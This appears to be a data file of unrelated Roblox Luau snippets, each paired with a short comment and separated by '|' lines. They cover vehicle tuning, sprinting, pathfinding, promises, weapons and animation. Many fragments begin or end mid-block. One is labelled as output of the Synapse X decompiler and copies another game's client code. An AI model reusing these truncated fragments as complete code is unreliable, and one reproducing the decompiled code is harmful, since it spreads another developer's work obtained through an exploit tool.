player2.Character.Torso.Anchored ,player2.Character.Torso.CFrame = true,Human.Parent.Torso.CFrame*CFrame.new(0,0.75,1.5)*CFrame.Angles(math.rad(0), math.rad(0), math.rad(90))
enabled.Value = true
end) end
pcall(function() player2.Character.Torso.Anchored=false
enabled.Value = false
end)
end)()
enabled.Value = false
end
end
end
end)
Evt.Squad.OnServerEvent:Connect(function(Player,SquadName,SquadColor)
Player.Character.Saude.FireTeam.SquadName.Value = SquadName
Player.Character.Saude.FireTeam.SquadColor.Value = SquadColor
end)
Evt.Afogar.OnServerEvent:Connect(function(Player)
Player.Character.Humanoid.Health = 0
end)
|
--script.Parent.Parent.BrickColor = BrickColor.new("Lime green")
--Lights1.Material = "SmoothPlastic"
--Lights2.Material = "SmoothPlastic"
--Lights3.Material = "SmoothPlastic"
--Lights1.BrickColor = BrickColor.new("Transparent")
--Lights2.BrickColor = BrickColor.new("Transparent")
--Lights3.BrickColor = BrickColor.new("Transparent")
|
local LightsModel = script.Parent.Parent.Parent.LightsModel
local debounce = false
script.Parent.MouseClick:Connect(function()
if debounce == false then
debounce = true
script.Parent.Parent.BrickColor = BrickColor.new("Really red")
for i, v in pairs(LightsModel:GetDescendants()) do
if v:IsA("BasePart") then
v.Material = "Neon"
v.BrickColor = BrickColor.new("Cyan")
end
end
elseif debounce == true then
end
end)
|
-- Functional services
|
TweenService = game:GetService("TweenService")
|
--[[Brakes]]
|
Tune.ABSEnabled = true -- Implements ABS
Tune.ABSThreshold = 20 -- Slip speed allowed before ABS starts working (in SPS)
Tune.FBrakeForce = 2000 -- Front brake force
Tune.RBrakeForce = 1650 -- Rear brake force
Tune.PBrakeForce = 5200 -- Handbrake force
Tune.FLgcyBForce = 15000 -- Front brake force [PGS OFF]
Tune.RLgcyBForce = 10000 -- Rear brake force [PGS OFF]
Tune.LgcyPBForce = 25000 -- Handbrake force [PGS OFF]
|
-- gets the middle point of 2 vector2's
|
function maths:GetMidpoint2(v2,V2)
return (v2+V2)/2
end
|
-- DefaultValue for spare ammo
|
local SpareAmmo = 999
|
-- ROBLOX deviation: we don't support string refs, and this is unsound flowtype when used with ref param of useImperativeHandle
-- | string
|
export type React_Context<T> = {
Provider: React_ComponentType<{ value: T, children: React_Node? }>,
Consumer: React_ComponentType<{ children: (value: T) -> React_Node? }>,
}
|
---------------------------------
|
local force = Instance.new("BodyForce")
force.Parent = torso
f = force
wait(0.01)
elseif ison == 0 then
if arms then
sh[1].Part1 = arms[1]
sh[2].Part1 = arms[2]
f.Parent = nil
arms[2].Name = "Right Leg"
arms[1].Name = "Left Leg"
welds[1].Parent = nil
welds[2].Parent = nil
script.Parent.Parent.Humanoid.WalkSpeed = 16
end
end
|
-- Set the gravitational pull for the confetti.
|
local gravity = Vector2.new(0,1);
function _Confetti.setGravity(paramVec2)
gravity = paramVec2;
end;
|
-- Button.Size = Size1
-- Button.Material = Material1
|
DigitNumber.Value = DigitNumber.Value - 1
if DigitNumber.Value < Min then
DigitNumber.Value = Max
end
NumberGUI.Text = DigitNumber.Value
EnteredCode.Value = tostring(Digit1.Value)..""..tostring(Digit2.Value)..""..tostring(Digit3.Value)
wait(.5)
|
--Clutch:
|
Tune.SpeedEngage = 15 -- Speed the clutch fully engages at (Based on SPS)
|
-- loop to handle timed state transitions and tool animations
|
while Character.Parent ~= nil do
local _, currentGameTime = wait(0.1)
stepAnimate(currentGameTime)
end
|
--[[ ROBLOX TODO: Unhandled node for type: TSIndexedAccessType ]]
--[[ export const test: NewPlugin['test'] ]]
|
local function test(val: unknown): boolean
return val ~= nil and ReactIs.isElement(val)
end
exports.test = test
local plugin: NewPlugin = { serialize = serialize, test = test }
exports.default = plugin
return exports
|
--= Functions =--
|
UIS.InputBegan:connect(function(key, gameProcessed)
if key.KeyCode == Enum.KeyCode.LeftShift and gameProcessed == false then
character.Humanoid.WalkSpeed = NewWalkSpeed
sprinting = true
while power > 0 and sprinting do
power = power - .03
Bar.Size = UDim2.new(power / 10, 0, 1, 0)
--Bar.BackgroundColor3 = Bar.BackgroundColor3:lerp(Color3.fromRGB(255, 42, 42), 0.001)
tween:Play()
wait()
if power <= 0 then
sprinting = false
character.Humanoid.WalkSpeed = NormalWalkSpeed
end
end
end
end)
UIS.InputEnded:connect(function(key, gameProcessed)
if key.KeyCode == Enum.KeyCode.LeftShift and gameProcessed == false then
character.Humanoid.WalkSpeed = NormalWalkSpeed
sprinting = false
runninganim:Stop()
while power < 10 and not sprinting do
power = power + .03
Bar.Size = UDim2.new(power / 10, 0, 1, 0)
--Bar.BackgroundColor3 = Bar.BackgroundColor3:lerp(Color3.fromRGB(255, 166, 11), 0.001)
tween2:Play()
wait()
if power <= 0 then
character.Humanoid.WalkSpeed = NormalWalkSpeed
end
end
end
end)
Humanoid.Running:Connect(function()
print("step 1")
if Humanoid.MoveDirection.Magnitude > 0 then
print("step 2")
if sprinting == true then
print("complete")
runninganim:Play()
--while sprinting==false or Humanoid.MoveDirection.Magnitude <= 0 do
--if runninganim ~= nil then
-- runninganim:Stop()
--end
--runninganim:Stop()
--wait()
--end
end
else
runninganim:Stop()
end
end)
|
--- Registers a command based purely on its definition.
-- Prefer using Registry:RegisterCommand for proper handling of server/client model.
|
function Registry:RegisterCommandObject (commandObject, fromCmdr)
for key in pairs(commandObject) do
if self.CommandMethods[key] == nil then
error("Unknown key/method in command " .. (commandObject.Name or "unknown command") .. ": " .. key)
end
end
if commandObject.Args then
for i, arg in pairs(commandObject.Args) do
if type(arg) == "table" then
for key in pairs(arg) do
if self.CommandArgProps[key] == nil then
error(('Unknown propery in command "%s" argument #%d: %s'):format(commandObject.Name or "unknown", i, key))
end
end
end
end
end
if commandObject.AutoExec and RunService:IsClient() then
table.insert(self.AutoExecBuffer, commandObject.AutoExec)
self:FlushAutoExecBufferDeferred()
end
-- Unregister the old command if it exists...
local oldCommand = self.Commands[commandObject.Name:lower()]
if oldCommand and oldCommand.Aliases then
for _, alias in pairs(oldCommand.Aliases) do
self.Commands[alias:lower()] = nil
end
elseif not oldCommand then
self.CommandsArray[#self.CommandsArray + 1] = commandObject
end
self.Commands[commandObject.Name:lower()] = commandObject
if commandObject.Aliases then
for _, alias in pairs(commandObject.Aliases) do
self.Commands[alias:lower()] = commandObject
end
end
end
|
-- Clear any existing animation tracks
-- Fixes issue with characters that are moved in and out of the Workspace accumulating tracks
|
local animator = if Humanoid then Humanoid:FindFirstChildOfClass("Animator") else nil
if animator then
local animTracks = animator:GetPlayingAnimationTracks()
for i,track in ipairs(animTracks) do
track:Stop(0)
track:Destroy()
end
end
for name, fileList in pairs(animNames) do
configureAnimationSet(name, fileList)
end
|
--[[
An implementation of Promises similar to Promise/A+.
]]
|
local ERROR_NON_PROMISE_IN_LIST = "Non-promise value passed into %s at index %s"
local ERROR_NON_LIST = "Please pass a list of promises to %s"
local ERROR_NON_FUNCTION = "Please pass a handler function to %s!"
local MODE_KEY_METATABLE = {__mode = "k"}
|
--The LocalScript must be parented inside StarterPlayer.StarterPlayerScripts to function properly, unless the code is modified.
|
local LocalScript = script.Parent
LocalScript.Parent = game.StarterPlayer.StarterPlayerScripts
|
-- end
|
end
wait(1)
deb = false
script.Parent.Text = ("Complete")
end
script.Parent.MouseButton1Click:connect(onClicked)
|
--[[ Input/Settings Changed Events ]]
|
--
local mouseLockSwitchFunc = function(actionName, inputState, inputObject)
if IsShiftLockMode then
onShiftLockToggled()
end
end
local function disableShiftLock()
if ShiftLockIcon then ShiftLockIcon.Visible = false end
IsShiftLockMode = false
Mouse.Icon = ""
if InputCn then
InputCn:disconnect()
InputCn = nil
end
IsActionBound = false
ShiftLockController.OnShiftLockToggled:Fire()
end
|
-- ROBLOX deviation START: Re-export bindings types
|
export type ReactBinding<T> = ReactTypes.ReactBinding<T>
export type ReactBindingUpdater<T> = ReactTypes.ReactBindingUpdater<T>
|
--basic variables
|
local Tool = script.Parent
repeat wait() until Tool.Parent:findFirstChild("Humanoid")
local Plr = game.Players:findFirstChild(Tool.Parent.Name)
local Chr = Tool.Parent
local Hum = Chr.Humanoid
local R = Random.new()
|
--- subscribe the YouTube - PRO100zola 3k
|
local hum = script.Parent:WaitForChild("Humanoid")
local anim = hum:LoadAnimation(script:FindFirstChildOfClass("Animation"))
|
-- Decompiled with the Synapse X Luau decompiler.
|
local l__LocalPlayer__1 = game.Players.LocalPlayer;
local v2 = require(script.Parent);
local v3 = require(script:FindFirstAncestor("MainUI").Modules.WindShake);
local v4 = require(l__LocalPlayer__1:WaitForChild("PlayerScripts"):WaitForChild("PlayerModule")):GetControls();
local v5 = game["Run Service"];
local l__UserInputService__6 = game:GetService("UserInputService");
local l__TweenService__7 = game:GetService("TweenService");
local v8 = require(game:GetService("ReplicatedStorage"):WaitForChild("ClientModules"):WaitForChild("Module_Events"));
v3:Init();
v2.gd:WaitForChild("ChaseInSession").Changed:Connect(function(p1)
end);
local function v9()
local v10 = workspace.CurrentRooms:FindFirstChild(v2.gd.LatestRoom.Value);
if v10 and v10:GetAttribute("RequiresKey") == true then
end;
if v10:WaitForChild("Door", 1) then
local l__Door__11 = v10:FindFirstChild("Door");
local v12 = 12;
if v2.chase then
v12 = 24;
end;
if l__Door__11 then
local l__Value__1 = v2.gd.LatestRoom.Value;
task.spawn(function()
for v13 = 1, 10000 do
wait(0.1);
if l__Value__1 < tonumber(l__LocalPlayer__1:GetAttribute("CurrentRoom")) then
return;
end;
if (l__LocalPlayer__1.Character.PrimaryPart.Position - l__Door__11.PrimaryPart.Position).Magnitude < v12 then
local v14 = RaycastParams.new();
v14.CollisionGroup = "Player";
v14.FilterDescendantsInstances = { l__Door__11, l__LocalPlayer__1.Character };
local v15 = workspace:Raycast(l__LocalPlayer__1.Character.PrimaryPart.Position, CFrame.new(l__LocalPlayer__1.Character.PrimaryPart.Position, l__Door__11.PrimaryPart.Position).LookVector * (l__LocalPlayer__1.Character.PrimaryPart.Position - l__Door__11.PrimaryPart.Position).Magnitude, v14);
if not v15 then
l__Door__11.ClientOpen:FireServer();
return;
end;
if not v15.Position then
l__Door__11.ClientOpen:FireServer();
return;
end;
end;
end;
end);
end;
end;
if v10:FindFirstChild("Shopkeeper") then
require(script.Shopkeeper).run(v10);
end;
local v16, v17, v18 = ipairs(v10:GetDescendants());
while true do
v16(v17, v18);
if not v16 then
break;
end;
v18 = v16;
if v17:IsA("BasePart") and v17:GetAttribute("WindShake") == true then
print("sup");
v3:AddObjectShake(v17);
elseif v17.Name == "GuidingLightStuff" or v17.Name == "HelpLight" or v17.Name == "HelpParticle" then
if v17:IsA("SpotLight") then
if UserSettings().GameSettings.SavedQualityLevel.Value <= 4 then
v17.Color = Color3.fromRGB(39, 190, 255);
v17.Brightness = 8;
v17.Range = 32;
v17.Angle = 40;
end;
elseif v17:IsA("ParticleEmitter") and UserSettings().GameSettings.SavedQualityLevel.Value <= 5 then
v17.Rate = 50;
end;
end;
end;
if v10:GetAttribute("Header") ~= nil and v10:GetAttribute("Header") ~= "" and v10:GetAttribute("Header") ~= " " then
print("doing header");
v2.titlelocation(v10:GetAttribute("Header"));
end;
if v10:FindFirstChild("FigureSetup", true) then
local l__FigureRagdoll__19 = v10:FindFirstChild("FigureSetup", true).FigureRagdoll;
local l__Parent__20 = l__FigureRagdoll__19.Parent;
local v21 = 0;
local l__Click__22 = l__FigureRagdoll__19.Head.Click;
local l__Growl__23 = l__FigureRagdoll__19.Head.Growl;
local v24 = {};
for v25, v26 in pairs(l__FigureRagdoll__19:GetDescendants()) do
if v26:IsA("Light") and v26.Name == "BlisterLight" then
v26.Enabled = true;
v26.Brightness = 0;
table.insert(v24, {
Light = v26,
Distance = l__FigureRagdoll__19.Head.Position - v26.Parent.WorldPosition
});
end;
end;
local v27 = TweenInfo.new(0.1, Enum.EasingStyle.Linear);
for v28 = 1, 100000000 do
wait(0.1);
if not l__FigureRagdoll__19 then
break;
end;
if l__FigureRagdoll__19.Parent ~= l__Parent__20 then
break;
end;
local v29 = (l__Click__22.PlaybackLoudness + l__Growl__23.PlaybackLoudness) / 60;
if v29 ~= v21 then
for v30, v31 in v24, nil do
delay(v31.Distance / 2, function()
l__TweenService__7:Create(v31.Light, v27, {
Brightness = v29
}):Play();
end);
end;
end;
v21 = v29;
end;
end;
if v10:FindFirstChild("FigureAnimatedWelded", true) then
local l__FigureAnimatedWelded__32 = v10:FindFirstChild("FigureAnimatedWelded", true);
local l__Parent__33 = l__FigureAnimatedWelded__32.Parent;
local v34 = 0;
local l__Click__35 = l__FigureAnimatedWelded__32.Parent.Head.Click;
local l__Growl__36 = l__FigureAnimatedWelded__32.Parent.Head.Growl;
local v37 = {};
for v38, v39 in pairs(l__FigureAnimatedWelded__32:GetDescendants()) do
if v39:IsA("Light") and v39.Name == "BlisterLight" then
v39.Enabled = true;
v39.Brightness = 0;
table.insert(v37, {
Light = v39,
Distance = l__FigureAnimatedWelded__32.Parent.Head.Position - v39.Parent.WorldPosition
});
end;
end;
local v40 = TweenInfo.new(0.1, Enum.EasingStyle.Linear);
for v41 = 1, 100000000 do
wait(0.1);
if not l__FigureAnimatedWelded__32 then
break;
end;
if l__FigureAnimatedWelded__32.Parent ~= l__Parent__33 then
break;
end;
local v42 = (l__Click__35.PlaybackLoudness + l__Growl__36.PlaybackLoudness) / 90 - 0.15;
if v42 ~= v34 then
for v43, v44 in v37, nil do
delay(v44.Distance / 4, function()
l__TweenService__7:Create(v44.Light, v40, {
Brightness = v42
}):Play();
end);
end;
end;
v34 = v42;
end;
end;
end;
v2.gd:WaitForChild("FinishedLoadingRoom").Changed:Connect(v9);
v2.gd:WaitForChild("Preload").Changed:Connect(v9);
workspace:WaitForChild("Ambience_Dark").Played:Connect(function()
end);
l__LocalPlayer__1:GetAttributeChangedSignal("CurrentRoom"):Connect(function()
local v45 = workspace.CurrentRooms:FindFirstChild(l__LocalPlayer__1:GetAttribute("CurrentRoom"));
if v45 then
local v46 = Color3.fromRGB(67, 51, 56);
local v47 = v45:GetAttribute("Ambient");
if v47 and type(v47) == "userdata" then
v46 = v47;
end;
l__TweenService__7:Create(game.Lighting, TweenInfo.new(0.4, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut), {
Ambient = v46
}):Play();
end;
end);
local l__Shopkeeper__48 = workspace:FindFirstChild("Shopkeeper", true);
if l__Shopkeeper__48 then
require(script.Shopkeeper).run(l__Shopkeeper__48.Parent);
end;
local v49, v50, v51 = ipairs(workspace.CurrentRooms:GetDescendants());
|
--[=[
@within ClientRemoteSignal
@interface Connection
.Disconnect () -> nil
]=]
|
function ClientRemoteSignal.new(re: RemoteEvent, inboundMiddleware: ClientMiddleware?, outboudMiddleware: ClientMiddleware?)
local self = setmetatable({}, ClientRemoteSignal)
self._re = re
if outboudMiddleware and #outboudMiddleware > 0 then
self._hasOutbound = true
self._outbound = outboudMiddleware
else
self._hasOutbound = false
end
if inboundMiddleware and #inboundMiddleware > 0 then
self._directConnect = false
self._signal = Signal.new(nil)
self._reConn = self._re.OnClientEvent:Connect(function(...)
local args = table.pack(...)
for _,middlewareFunc in ipairs(inboundMiddleware) do
local middlewareResult = table.pack(middlewareFunc(args))
if not middlewareResult[1] then
return
end
end
self._signal:Fire(table.unpack(args, 1, args.n))
end)
else
self._directConnect = true
end
return self
end
function ClientRemoteSignal:_processOutboundMiddleware(...: any)
local args = table.pack(...)
for _,middlewareFunc in ipairs(self._outbound) do
local middlewareResult = table.pack(middlewareFunc(args))
if not middlewareResult[1] then
return table.unpack(middlewareResult, 2, middlewareResult.n)
end
end
return table.unpack(args, 1, args.n)
end
|
-----------------------------------PATHER--------------------------------------
|
local function Pather(endPoint, surfaceNormal, overrideUseDirectPath)
local this = {}
local directPathForHumanoid
local directPathForVehicle
if overrideUseDirectPath ~= nil then
directPathForHumanoid = overrideUseDirectPath
directPathForVehicle = overrideUseDirectPath
else
directPathForHumanoid = UseDirectPath
directPathForVehicle = UseDirectPathForVehicle
end
this.Cancelled = false
this.Started = false
this.Finished = Instance.new("BindableEvent")
this.PathFailed = Instance.new("BindableEvent")
this.PathComputing = false
this.PathComputed = false
this.OriginalTargetPoint = endPoint
this.TargetPoint = endPoint
this.TargetSurfaceNormal = surfaceNormal
this.DiedConn = nil
this.SeatedConn = nil
this.BlockedConn = nil
this.TeleportedConn = nil
this.CurrentPoint = 0
this.HumanoidOffsetFromPath = ZERO_VECTOR3
this.CurrentWaypointPosition = nil
this.CurrentWaypointPlaneNormal = ZERO_VECTOR3
this.CurrentWaypointPlaneDistance = 0
this.CurrentWaypointNeedsJump = false;
this.CurrentHumanoidPosition = ZERO_VECTOR3
this.CurrentHumanoidVelocity = 0
this.NextActionMoveDirection = ZERO_VECTOR3
this.NextActionJump = false
this.Timeout = 0
this.Humanoid = findPlayerHumanoid(Player)
this.OriginPoint = nil
this.AgentCanFollowPath = false
this.DirectPath = false
this.DirectPathRiseFirst = false
local rootPart = this.Humanoid and this.Humanoid.RootPart
if rootPart then
-- Setup origin
this.OriginPoint = rootPart.CFrame.p
-- Setup agent
local agentRadius = 2
local agentHeight = 5
local agentCanJump = true
local seat = this.Humanoid.SeatPart
if seat and seat:IsA("VehicleSeat") then
-- Humanoid is seated on a vehicle
local vehicle = seat:FindFirstAncestorOfClass("Model")
if vehicle then
-- Make sure the PrimaryPart is set to the vehicle seat while we compute the extends.
local tempPrimaryPart = vehicle.PrimaryPart
vehicle.PrimaryPart = seat
-- For now, only direct path
if directPathForVehicle then
local extents = vehicle:GetExtentsSize()
agentRadius = AgentSizeIncreaseFactor * 0.5 * math.sqrt(extents.X * extents.X + extents.Z * extents.Z)
agentHeight = AgentSizeIncreaseFactor * extents.Y
agentCanJump = false
this.AgentCanFollowPath = true
this.DirectPath = directPathForVehicle
end
-- Reset PrimaryPart
vehicle.PrimaryPart = tempPrimaryPart
end
else
local extents = GetCharacter():GetExtentsSize()
agentRadius = AgentSizeIncreaseFactor * 0.5 * math.sqrt(extents.X * extents.X + extents.Z * extents.Z)
agentHeight = AgentSizeIncreaseFactor * extents.Y
agentCanJump = (this.Humanoid.JumpPower > 0)
this.AgentCanFollowPath = true
this.DirectPath = directPathForHumanoid
this.DirectPathRiseFirst = this.Humanoid.Sit
end
-- Build path object
this.pathResult = PathfindingService:CreatePath({AgentRadius = agentRadius, AgentHeight = agentHeight, AgentCanJump = agentCanJump})
end
function this:Cleanup()
if this.stopTraverseFunc then
this.stopTraverseFunc()
this.stopTraverseFunc = nil
end
if this.MoveToConn then
this.MoveToConn:Disconnect()
this.MoveToConn = nil
end
if this.BlockedConn then
this.BlockedConn:Disconnect()
this.BlockedConn = nil
end
if this.DiedConn then
this.DiedConn:Disconnect()
this.DiedConn = nil
end
if this.SeatedConn then
this.SeatedConn:Disconnect()
this.SeatedConn = nil
end
if this.TeleportedConn then
this.TeleportedConn:Disconnect()
this.TeleportedConn = nil
end
this.Started = false
end
function this:Cancel()
this.Cancelled = true
this:Cleanup()
end
function this:IsActive()
return this.AgentCanFollowPath and this.Started and not this.Cancelled
end
function this:OnPathInterrupted()
-- Stop moving
this.Cancelled = true
this:OnPointReached(false)
end
function this:ComputePath()
if this.OriginPoint then
if this.PathComputed or this.PathComputing then return end
this.PathComputing = true
if this.AgentCanFollowPath then
if this.DirectPath then
this.pointList = {
PathWaypoint.new(this.OriginPoint, Enum.PathWaypointAction.Walk),
PathWaypoint.new(this.TargetPoint, this.DirectPathRiseFirst and Enum.PathWaypointAction.Jump or Enum.PathWaypointAction.Walk)
}
this.PathComputed = true
else
this.pathResult:ComputeAsync(this.OriginPoint, this.TargetPoint)
this.pointList = this.pathResult:GetWaypoints()
this.BlockedConn = this.pathResult.Blocked:Connect(function(blockedIdx) this:OnPathBlocked(blockedIdx) end)
this.PathComputed = this.pathResult.Status == Enum.PathStatus.Success
end
end
this.PathComputing = false
end
end
function this:IsValidPath()
this:ComputePath()
return this.PathComputed and this.AgentCanFollowPath
end
this.Recomputing = false
function this:OnPathBlocked(blockedWaypointIdx)
local pathBlocked = blockedWaypointIdx >= this.CurrentPoint
if not pathBlocked or this.Recomputing then
return
end
this.Recomputing = true
if this.stopTraverseFunc then
this.stopTraverseFunc()
this.stopTraverseFunc = nil
end
this.OriginPoint = this.Humanoid.RootPart.CFrame.p
this.pathResult:ComputeAsync(this.OriginPoint, this.TargetPoint)
this.pointList = this.pathResult:GetWaypoints()
if #this.pointList > 0 then
this.HumanoidOffsetFromPath = this.pointList[1].Position - this.OriginPoint
end
this.PathComputed = this.pathResult.Status == Enum.PathStatus.Success
if ShowPath then
this.stopTraverseFunc, this.setPointFunc = ClickToMoveDisplay.CreatePathDisplay(this.pointList)
end
if this.PathComputed then
this.CurrentPoint = 1 -- The first waypoint is always the start location. Skip it.
this:OnPointReached(true) -- Move to first point
else
this.PathFailed:Fire()
this:Cleanup()
end
this.Recomputing = false
end
function this:OnRenderStepped(dt)
if this.Started and not this.Cancelled then
-- Check for Timeout (if a waypoint is not reached within the delay, we fail)
this.Timeout = this.Timeout + dt
if this.Timeout > UnreachableWaypointTimeout then
this:OnPointReached(false)
return
end
-- Get Humanoid position and velocity
this.CurrentHumanoidPosition = this.Humanoid.RootPart.Position + this.HumanoidOffsetFromPath
this.CurrentHumanoidVelocity = this.Humanoid.RootPart.Velocity
-- Check if it has reached some waypoints
while this.Started and this:IsCurrentWaypointReached() do
this:OnPointReached(true)
end
-- If still started, update actions
if this.Started then
-- Move action
this.NextActionMoveDirection = this.CurrentWaypointPosition - this.CurrentHumanoidPosition
if this.NextActionMoveDirection.Magnitude > ALMOST_ZERO then
this.NextActionMoveDirection = this.NextActionMoveDirection.Unit
else
this.NextActionMoveDirection = ZERO_VECTOR3
end
-- Jump action
if this.CurrentWaypointNeedsJump then
this.NextActionJump = true
this.CurrentWaypointNeedsJump = false -- Request jump only once
else
this.NextActionJump = false
end
end
end
end
function this:IsCurrentWaypointReached()
local reached = false
-- Check we do have a plane, if not, we consider the waypoint reached
if this.CurrentWaypointPlaneNormal ~= ZERO_VECTOR3 then
-- Compute distance of Humanoid from destination plane
local dist = this.CurrentWaypointPlaneNormal:Dot(this.CurrentHumanoidPosition) - this.CurrentWaypointPlaneDistance
-- Compute the component of the Humanoid velocity that is towards the plane
local velocity = -this.CurrentWaypointPlaneNormal:Dot(this.CurrentHumanoidVelocity)
-- Compute the threshold from the destination plane based on Humanoid velocity
local threshold = math.max(1.0, 0.0625 * velocity)
-- If we are less then threshold in front of the plane (between 0 and threshold) or if we are behing the plane (less then 0), we consider we reached it
reached = dist < threshold
else
reached = true
end
if reached then
this.CurrentWaypointPosition = nil
this.CurrentWaypointPlaneNormal = ZERO_VECTOR3
this.CurrentWaypointPlaneDistance = 0
end
return reached
end
function this:OnPointReached(reached)
if reached and not this.Cancelled then
-- First, destroyed the current displayed waypoint
if this.setPointFunc then
this.setPointFunc(this.CurrentPoint)
end
local nextWaypointIdx = this.CurrentPoint + 1
if nextWaypointIdx > #this.pointList then
-- End of path reached
if this.stopTraverseFunc then
this.stopTraverseFunc()
end
this.Finished:Fire()
this:Cleanup()
else
local currentWaypoint = this.pointList[this.CurrentPoint]
local nextWaypoint = this.pointList[nextWaypointIdx]
-- If airborne, only allow to keep moving
-- if nextWaypoint.Action ~= Jump, or path mantains a direction
-- Otherwise, wait until the humanoid gets to the ground
local currentState = this.Humanoid:GetState()
local isInAir = currentState == Enum.HumanoidStateType.FallingDown
or currentState == Enum.HumanoidStateType.Freefall
or currentState == Enum.HumanoidStateType.Jumping
if isInAir then
local shouldWaitForGround = nextWaypoint.Action == Enum.PathWaypointAction.Jump
if not shouldWaitForGround and this.CurrentPoint > 1 then
local prevWaypoint = this.pointList[this.CurrentPoint - 1]
local prevDir = currentWaypoint.Position - prevWaypoint.Position
local currDir = nextWaypoint.Position - currentWaypoint.Position
local prevDirXZ = Vector2.new(prevDir.x, prevDir.z).Unit
local currDirXZ = Vector2.new(currDir.x, currDir.z).Unit
local THRESHOLD_COS = 0.996 -- ~cos(5 degrees)
shouldWaitForGround = prevDirXZ:Dot(currDirXZ) < THRESHOLD_COS
end
if shouldWaitForGround then
this.Humanoid.FreeFalling:Wait()
-- Give time to the humanoid's state to change
-- Otherwise, the jump flag in Humanoid
-- will be reset by the state change
wait(0.1)
end
end
-- Move to the next point
if FFlagUserNavigationClickToMoveSkipPassedWaypoints then
this:MoveToNextWayPoint(currentWaypoint, nextWaypoint, nextWaypointIdx)
else
if this.setPointFunc then
this.setPointFunc(nextWaypointIdx)
end
if nextWaypoint.Action == Enum.PathWaypointAction.Jump then
this.Humanoid.Jump = true
end
this.Humanoid:MoveTo(nextWaypoint.Position)
this.CurrentPoint = nextWaypointIdx
end
end
else
this.PathFailed:Fire()
this:Cleanup()
end
end
function this:MoveToNextWayPoint(currentWaypoint, nextWaypoint, nextWaypointIdx)
-- Build next destination plane
-- (plane normal is perpendicular to the y plane and is from next waypoint towards current one (provided the two waypoints are not at the same location))
-- (plane location is at next waypoint)
this.CurrentWaypointPlaneNormal = currentWaypoint.Position - nextWaypoint.Position
this.CurrentWaypointPlaneNormal = Vector3.new(this.CurrentWaypointPlaneNormal.X, 0, this.CurrentWaypointPlaneNormal.Z)
if this.CurrentWaypointPlaneNormal.Magnitude > ALMOST_ZERO then
this.CurrentWaypointPlaneNormal = this.CurrentWaypointPlaneNormal.Unit
this.CurrentWaypointPlaneDistance = this.CurrentWaypointPlaneNormal:Dot(nextWaypoint.Position)
else
-- Next waypoint is the same as current waypoint so no plane
this.CurrentWaypointPlaneNormal = ZERO_VECTOR3
this.CurrentWaypointPlaneDistance = 0
end
-- Should we jump
this.CurrentWaypointNeedsJump = nextWaypoint.Action == Enum.PathWaypointAction.Jump;
-- Remember next waypoint position
this.CurrentWaypointPosition = nextWaypoint.Position
-- Move to next point
this.CurrentPoint = nextWaypointIdx
-- Finally reset Timeout
this.Timeout = 0
end
function this:Start(overrideShowPath)
if not this.AgentCanFollowPath then
this.PathFailed:Fire()
return
end
if this.Started then return end
this.Started = true
ClickToMoveDisplay.CancelFailureAnimation()
if ShowPath then
if overrideShowPath == nil or overrideShowPath then
this.stopTraverseFunc, this.setPointFunc = ClickToMoveDisplay.CreatePathDisplay(this.pointList, this.OriginalTargetPoint)
end
end
if #this.pointList > 0 then
-- Determine the humanoid offset from the path's first point
-- Offset of the first waypoint from the path's origin point
this.HumanoidOffsetFromPath = Vector3.new(0, this.pointList[1].Position.Y - this.OriginPoint.Y, 0)
-- As well as its current position and velocity
this.CurrentHumanoidPosition = this.Humanoid.RootPart.Position + this.HumanoidOffsetFromPath
this.CurrentHumanoidVelocity = this.Humanoid.RootPart.Velocity
-- Connect to events
this.SeatedConn = this.Humanoid.Seated:Connect(function(isSeated, seat) this:OnPathInterrupted() end)
this.DiedConn = this.Humanoid.Died:Connect(function() this:OnPathInterrupted() end)
this.TeleportedConn = this.Humanoid.RootPart:GetPropertyChangedSignal("CFrame"):Connect(function() this:OnPathInterrupted() end)
-- Actually start
this.CurrentPoint = 1 -- The first waypoint is always the start location. Skip it.
this:OnPointReached(true) -- Move to first point
else
this.PathFailed:Fire()
if this.stopTraverseFunc then
this.stopTraverseFunc()
end
end
end
--We always raycast to the ground in the case that the user clicked a wall.
local offsetPoint = this.TargetPoint + this.TargetSurfaceNormal*1.5
local ray = Ray.new(offsetPoint, Vector3.new(0,-1,0)*50)
local newHitPart, newHitPos = Workspace:FindPartOnRayWithIgnoreList(ray, getIgnoreList())
if newHitPart then
this.TargetPoint = newHitPos
end
this:ComputePath()
return this
end
|
--// Handling Settings
|
Firerate = 60 / 300; -- 60 = 1 Minute, 700 = Rounds per that 60 seconds. DO NOT TOUCH THE 60!
FireMode = 1; -- 1 = Semi, 2 = Auto, 3 = Burst, 4 = Bolt Action, 5 = Shot, 6 = Explosive
|
--// Math
|
local L_129_ = function(L_166_arg1, L_167_arg2, L_168_arg3)
if L_166_arg1 > L_168_arg3 then
return L_168_arg3
elseif L_166_arg1 < L_167_arg2 then
return L_167_arg2
end
return L_166_arg1
end
local L_130_ = L_118_.new(Vector3.new())
L_130_.s = 30
L_130_.d = 0.55
local L_131_ = CFrame.Angles(0, 0, 0)
|
---------------------------------
|
local force = Instance.new("BodyForce")
force.Parent = torso
f = force
if AJ == false then
AJ = true
antijump = script.AntiJump:clone()
antijump.Parent = Tool.Parent
antijump.Disabled = false
elseif AJ == true then
antijump.Disabled = false
end
wait(0.01)
elseif ison == 0 then
if arms then
sh[1].Part1 = arms[1]
sh[2].Part1 = arms[2]
f.Parent = nil
arms[2].Name = "Right Leg"
arms[1].Name = "Left Leg"
welds[1].Parent = nil
welds[2].Parent = nil
Tool.Parent:findFirstChild("Humanoid").WalkSpeed = 16
antijump.Disabled = true
end
end
|
-------------Motor6Ding Section------------------------
|
Character.Humanoid.Died:connect(function()
Stand()
_G.Proned = false
_G.Crouched = false
_G.Sprinting = false
end)
game:GetService("RunService").RenderStepped:connect(function()
Mouse.TargetFilter = game.Workspace
if not _G.Viewing then
local HRPCF = Character.UpperTorso.CFrame * CFrame.new(0, .5, 0)* CFrame.new(Humanoid.CameraOffset)
if Lean then
HRPCF = HRPCF
end
Neck.C0 = Torso.CFrame:toObjectSpace(HRPCF)
Neck.C1 = CFrame.Angles(-math.asin(Camera.CoordinateFrame.lookVector.y), 0, 0)
elseif _G.Viewing then
Character.Torso.Neck.C0 = CFrame.new(0, 0, 0, -1, -0, -0, 0, 0, 1, 0, 0, 0)
Character.Torso.Neck.C1 = CFrame.new(0, 0, 0, -1, -0, -0, 0, 0, 1, 0, 0, 0)
end
if player.PlayerScripts.CameraScript.RootCamera:FindFirstChild("Sensitivity") then
if Aiming then
player.PlayerScripts.CameraScript.RootCamera.Sensitivity.Value = Player.PlayerGui.MouseSensitivity.Frame.Data.Value
else
